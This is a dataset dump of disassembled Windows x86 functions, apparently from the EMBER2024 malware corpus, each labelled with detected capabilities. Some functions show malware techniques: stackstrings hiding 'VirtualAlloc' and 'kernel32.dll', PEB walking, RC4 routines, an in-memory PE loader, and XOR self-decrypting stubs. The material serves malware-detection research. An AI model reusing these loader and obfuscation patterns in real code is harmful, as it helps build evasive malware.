joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c8610
Capabilities:
Create new key via cryptacquirecontext
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0xf0000040
push 0x18
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x4c8635
mov eax, 0x1b
pop esi
pop ebp
ret
lea eax, [esi + 4]
push eax
push 0
push 0
push 0x800c
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x4c8665
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
mov eax, 2
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret

Function at 0x4c8790
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x57933c]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4c87bd
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], eax
cmp ebx, dword [esi + 0x10]
jbe 0x4c8804
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [ebp + 0xc]
push dword [edi + 4]
call eax
mov eax, dword [edi + 8]
add eax, dword [esi + 0xc]
push dword [edi + 4]
mov dword [ebp - 4], eax
push eax
mov eax, dword [esi + 8]
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov dword [ebp + 0x10], ebx
jmp 0x4c880a
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [edi + 4]
mov eax, dword [esi]
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [ebp + 0x10]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x4c886b
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], eax
nop word [eax + eax]
movzx eax, byte [ebx]
xor al, 0x36
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebx]
lea ebx, [ebx + 1]
xor al, 0x5c
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub dword [ebp + 0x10], 1
jne 0x4c8830
mov ebx, dword [ebp - 8]
cmp ebx, dword [esi + 0x10]
jae 0x4c8897
mov eax, dword [esi + 4]
push 1
push 0x54dde8
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x54dde9
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x4c8870
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4c8cf0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x4c8d42
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x4c8d48
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0x4f2345
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x52446b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005242ea

Function at 0x52b3d9
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0052b099
Function at 0x1029ada0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102b8b20], 0
mov byte [0x102b8b24], 0
mov edi, dword [0x102b8b18]
add edi, 0x1248
mov dword [0x102b8b14], edi
mov dword [0x102b8b1c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1029ae24
mov dword [0x102b8b14], 0x23eb
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, dword [0x102b8b18]
add ecx, 0x101c
mov dword [0x102b8b14], ecx
mov dword [0x102b8b1c], 0
mov dword [ebp - 0x20], eax
jmp 0x1029ae56
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x102b8b14], 0xa1e
mov eax, dword [0x102b8b1c]
add eax, 1
mov dword [0x102b8b1c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1029ae24
jmp 0x1029ae01
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x102b8b28], 0
mov dword [0x102b8b14], 0x1dfc
mov edx, dword [0x102b8b20]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x102b8b28], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x102b8b20], edx
mov dword [0x102b8b14], 0x3326
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x102b8b24], cl
mov dword [0x102b8b14], 0x118d
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x102b8b24]
mov edx, dword [0x102b8b20]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x102b8b14], 0x24c0
mov edx, dword [0x102b8b1c]
add edx, 1
mov dword [0x102b8b1c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1029ae56
jmp 0x1029adef
Function at 0x1029b420
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [0x102b8b14], 0x1c34
mov dword [0x102b8b18], 0x1ed1
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.1029af20
lea ecx, [0x1029b750]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x58], edx
mov dword [esp + 0x78], 0x13e800
mov edx, dword [0x102b8b00]
mov dword [esp + 0x8c], edx
mov edx, dword [0x102b8b04]
mov dword [esp + 0x70], edx
mov edx, dword [0x102b8b08]
mov dword [esp + 0x50], edx
mov edx, dword [0x102b8b0c]
mov dword [esp + 0x38], edx
mov edx, dword [0x102b8b10]
mov dword [esp + 0x60], edx
mov dword [0x102b8b14], 0x2ba
mov dword [0x102b8b18], 0xffffe8fe
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jmp 0x1029b4fc
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x48], eax
mov dword [0x102b8b18], 0x1c0b
mov dword [0x102b8b14], 0x81b
mov eax, dword [eax + ecx + 0x50]
mov dword [esp + 0x54], eax
call fcn.1029b610
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x1029b541
jmp 0x1029b587
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x1029b523
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
je 0x1029b4bd
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [0x102b8b14], 0xfffff2fa
mov dword [esp + 0x1c], eax
jmp 0x1029b4fc
lea eax, [esp + 0x38]
mov ecx, dword [0x102b8b14]
add ecx, 0xffffe20a
mov dword [0x102b8b18], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1029c250
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x102b8b18], 0x1693
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x1029b610
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [0x102b8b14], 0x9d2
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x102b8b14], 0x2420
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1029b658
mov eax, dword [ebp - 0x14]
add esp, 0x20
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x1029b68f
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [0x102b8b18], 0xffffe35a
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], eax
jl 0x1029b658
mov eax, dword [ebp - 0x1c]
mov dword [0x102b8b14], 0x568
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
jne 0x1029b739
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1029b739
mov dword [0x102b8b14], 0x23ba
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1029b739
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1029b739
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1029b739
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1029b739
mov eax, dword [0x102b8b18]
add eax, 0x1815
mov dword [0x102b8b18], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0xe], 0x6c
jne 0x1029b739
mov eax, 1
mov dword [0x102b8b14], 0x263b
mov dword [ebp - 0x14], eax
jmp 0x1029b650
xor eax, eax
mov dword [0x102b8b18], 0x18b8
mov dword [ebp - 0x14], eax
jmp 0x1029b650
Function at 0x1029c070
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, dword [0x102b8b14]
mov dword [0x102b8b1c], 0
mov dword [0x102b8b20], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x20]
add eax, 0xffffe517
mov dword [0x102b8b2c], 0
mov dword [0x102b8b18], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
je 0x1029c237
jmp 0x1029c1e8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x34]
mov edi, 0x100
mov dword [0x102b8b18], ecx
mov dword [0x102b8b14], 0x14b6
add edx, 1
mov dword [ebp - 0x38], eax
mov eax, edx
cdq
idiv edi
mov dword [0x102b8b1c], edx
mov ecx, dword [ebp - 0x1c]
movzx ebx, byte [ecx + edx]
add ebx, esi
mov eax, ebx
mov dword [ebp - 0x3c], edx
cdq
idiv edi
mov dword [0x102b8b20], edx
mov dword [0x102b8b14], 0x44
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x102b8b24], cl
mov dword [0x102b8b14], 0xe50
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x102b8b24]
mov edx, dword [0x102b8b20]
mov byte [edi + edx], cl
mov edx, dword [0x102b8b14]
mov ebx, edx
add ebx, 0xb7f
mov dword [0x102b8b18], ebx
mov ebx, dword [0x102b8b1c]
movzx ebx, byte [edi + ebx]
mov ecx, dword [0x102b8b20]
movzx ecx, byte [edi + ecx]
add ecx, ebx
mov dword [0x102b8b18], 0x10dd
and ecx, 0xff
mov dword [0x102b8b2c], ecx
add edx, 0xffffe052
mov dword [0x102b8b14], edx
mov cl, byte [edi + ecx]
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x38]
mov ch, byte [edx + ebx]
mov dword [0x102b8b18], 0xfffffdd5
xor ch, cl
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], ch
mov dword [0x102b8b14], 0xc10
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x40], ebx
je 0x1029c22d
jmp 0x1029c208
xor eax, eax
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffff5ed
mov edx, eax
mov esi, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x28], eax
jmp 0x1029c0de
mov eax, 0x1fd
mov ecx, dword [0x102b8b1c]
mov edx, dword [0x102b8b20]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
jmp 0x1029c0de
mov eax, 0xc10
mov dword [ebp - 0x24], eax
jmp 0x1029c237
mov eax, dword [ebp - 0x24]
add eax, 0xffffdbf0
mov dword [0x102b8b18], eax
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1029c250
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xbc
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dl, 0x6b
xor esi, esi
lea edi, [ebp - 0x6c]
lea ebx, [ebp - 0x2c]
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x8c], 0x56
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x72
mov byte [ebp - 0x89], 0x74
mov byte [ebp - 0x88], 0x75
mov byte [ebp - 0x87], 0x61
mov byte [ebp - 0x86], 0x6c
mov byte [ebp - 0x85], 0x41
mov byte [ebp - 0x84], 0x6c
mov byte [ebp - 0x83], 0x6c
mov byte [ebp - 0x82], 0x6f
mov byte [ebp - 0x81], 0x63
mov byte [ebp - 0x80], 0
mov byte [ebp - 0x7f], 0x8e
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0x8e
mov dword [0x102b8b18], 0x22ce
mov dword [0x102b8b14], 0x351
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x9c], edi
mov byte [ebp - 0x9d], dl
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa8], esi
jmp 0x1029c366
mov eax, dword [ebp - 0xac]
add eax, 0x1079
mov dword [0x102b8b18], 0x25ea
mov dword [ebp - 0xb0], eax
jmp 0x1029c4c8
mov eax, dword [ebp - 0xa8]
mov cl, byte [ebp - 0x9d]
movsx edx, cl
mov si, dx
mov word [ebp + eax*2 - 0x6c], si
mov edx, eax
add edx, 1
mov cl, byte [ebp + eax - 0x2b]
cmp cl, 0
mov byte [ebp - 0x9d], cl
mov dword [ebp - 0xa8], edx
jne 0x1029c366
xor eax, eax
lea ecx, [ebp - 0x6c]
mov dword [0x102b8b18], 0xf15
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [ebp - 0xb4], eax
call fcn.1029bd50
mov dword [esp], eax
mov eax, dword [ebp - 0x94]
mov dword [esp + 4], eax
call fcn.1029aa80
xor ecx, ecx
mov dword [0x102b8b14], 0x7b6
cmp eax, 0
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb0], ecx
je 0x1029c4c8
mov eax, dword [ebp - 0xb8]
mov dword [0x102b8b18], 0x14b6
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x102b8b18], 0x1f02
mov dword [esp], eax
mov ecx, dword [ebp - 0x90]
mov dword [esp + 4], ecx
mov dword [ebp - 0xac], eax
call fcn.1029ac10
xor eax, eax
mov ecx, dword [ebp - 0xac]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], pe_nt_image_headers32
mov dword [0x102b8b14], 0x1cb
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x102b8b18], 0x19c8
mov edx, dword [ebp - 0x98]
mov dword [edx + 0x24], ecx
mov ecx, dword [0x102b8b18]
add ecx, 0xfffffc67
mov dword [0x102b8b18], ecx
mov ecx, dword [ebp - 0xac]
mov dword [edx + 0xc], ecx
mov esi, dword [0x102b8b14]
add esi, 0xfffff830
mov dword [0x102b8b14], esi
cmp ecx, 0
mov dword [ebp - 0xb0], eax
jne 0x1029c346
mov eax, dword [ebp - 0xb0]
add esp, 0xbc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1005d91
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100a028]
jne 0x1005d9a
ret
jmp 0x1005d9f
push ebp
lea ebp, [esp - 0x2a8]
sub esp, 0x328
mov eax, dword [0x100a028]
mov dword [ebp + 0x2a4], eax
mov eax, dword [0x101b0cc]
test eax, eax
je 0x1005dc3
call eax
cmp dword [0x101b0d0], 0
je 0x1005e0a
push edi
xor eax, eax
and dword [ebp - 0x28], eax
push 0x13
pop ecx
lea edi, [ebp - 0x7c]
rep stosd dword es:[edi], eax
mov ecx, 0xb2
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x28]
push 0
mov dword [ebp - 0x80], 0xc0000409
mov dword [ebp - 0x2c], eax
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x30]
push eax
call dword [0x101b0d0]
pop edi
push 0x502
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov ecx, dword [ebp + 0x2a4]
call fcn.01005d91
add ebp, 0x2a8
leave
ret

Function at 0x1006330
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x100633f
pop dword [ebp - 0x44]
mov eax, 0xe1c59ebb
sub eax, 0xe0c53b7c
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xae5e6f3b
add dword [ebp - 0x54], 0x9ff3d610
mov dword [ebp - 0x50], 0xc7a4a67c
sub dword [ebp - 0x50], 0x95715a37
mov dword [ebp - 0x4c], 0x5da8dcc8
add dword [ebp - 0x4c], 0xeea36766
mov dword [ebp - 0x48], 0x2f5ddf92
add dword [ebp - 0x48], 0xd0a2206e
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x4e4e001a
add dword [ebp - 0x54], 0x2624693c
mov dword [ebp - 0x50], 0x5df99fc8
add dword [ebp - 0x50], 0xe372c1ad
mov dword [ebp - 0x4c], 0xaab7f3a5
add dword [ebp - 0x4c], 0xb8b778c7
mov dword [ebp - 0x48], 0xb5bb9f3f
sub dword [ebp - 0x48], 0xb5bb9f3f
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x36202
push 0
call eax
mov ecx, 0x8bd8fa73
add ecx, 0x74274aef
mov edx, eax
mov ebx, 0x7f51fb8
add ebx, 0xf937c448
add ebx, dword [ebp - 0x44]
mov edi, 0xe2c0e007
sub edi, 0xbb4f36b9
xor dword [ebp - 0xc], edx
mov esi, dword [ebx]
sub esi, edi
mov dword [ebp - 0x34], 0x89245f1d
mov dword [edx], esi
xor dword [ebp - 0x3c], edi
add edx, 0x38e77693
sub edx, 0x38e7768f
add ebx, 0x4dc415c0
add ebx, 0xb23bea44
loop 0x1006457
add eax, 0x1085b
xor ebx, ebx
add ebx, eax
add eax, 0x69556811
add eax, 0x96aa97f4
mov ecx, 0xe519e78c
add ecx, 0x1be61874
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x100702b
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
shr eax, 2
test eax, eax
push edi
mov edi, dword [esp + 0x14]
jle 0x1007066
push ebx
movzx edx, byte [ecx]
xor ebx, ebx
inc ecx
mov bh, byte [ecx]
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x10
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x18
or edx, ebx
inc ecx
xor edi, edx
dec eax
jne 0x1007043
pop ebx
and esi, 3
xor eax, eax
dec esi
je 0x1007082
dec esi
je 0x100707b
dec esi
jne 0x1007087
movzx eax, byte [ecx]
shl eax, 0x10
inc ecx
xor edx, edx
mov dh, byte [ecx]
or eax, edx
inc ecx
movzx ecx, byte [ecx]
or eax, ecx
xor eax, edi
pop edi
pop esi
ret 0xc

Function at 0x501cf0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x502328
push 0x501ef0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT.dll___set_app_type]
add esp, 4
mov dword [0x503424], 0xffffffff
mov dword [0x503428], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x503420]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov edx, dword [0x50341c]
mov dword [eax], edx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov ecx, dword [eax]
mov dword [0x50342c], ecx
call fcn.00501ee0
mov eax, dword [0x503154]
test eax, eax
jne 0x501d81
push 0x501ed0
call dword [sym.imp.MSVCRT.dll___setusermatherr]
add esp, 4
call fcn.00501eb0
push 0x50300c
push 0x503008
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [0x503418]
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x503414]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVCRT.dll___getmainargs]
add esp, 0x14
push 0x503004
push section..data
call sub.MSVCRT.dll__initterm
add esp, 8
call dword [sym.imp.MSVCRT.dll___p__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x501e8f
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x501df5
cmp al, 0x22
jne 0x501de7
cmp byte [esi], 0x22
jne 0x501dfe
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x501e0e
cmp al, 0x20
ja 0x501e0e
inc esi
mov dword [ebp - 0x74], esi
jmp 0x501dfe
mov dword [ebp - 0x30], 0
lea edx, [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x501e2f
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x501e34
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
jmp 0x501e74
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x501dfe
inc esi
mov dword [ebp - 0x74], esi
jmp 0x501e8f
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
or esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
push edx
pop edi
rep stosb byte es:[edi], al
pop edi
push edx
pop eax
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
push esi
pop eax
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
push esi
pop eax
sub eax, edi
push eax
pop esi
or eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x1322bc4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1322bce
pushal
call 0x1322bd4
pop ebp
sub ebp, 0x10
sub ebp, 0xf22bc4
jmp 0x1322bea
mov eax, 0xf22bc4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c3
mov edx, 0x98823923
xor byte [eax], dl
inc eax
dec ecx
jne 0x1322c01
jmp 0x1322c14
test al, 0xee
test al, 0xaa
pop ds
and esp, dword [ebx]
and esp, dword [edx + 0x2323dbe2]
and esp, dword [eax]
out dx, al
wait
and esp, dword es:[ebx]
and ebx, dword [ecx + 0x2323230b]
aam 0xc1
and bl, ch
test al, 0xa2
das
and esp, dword [ebx]
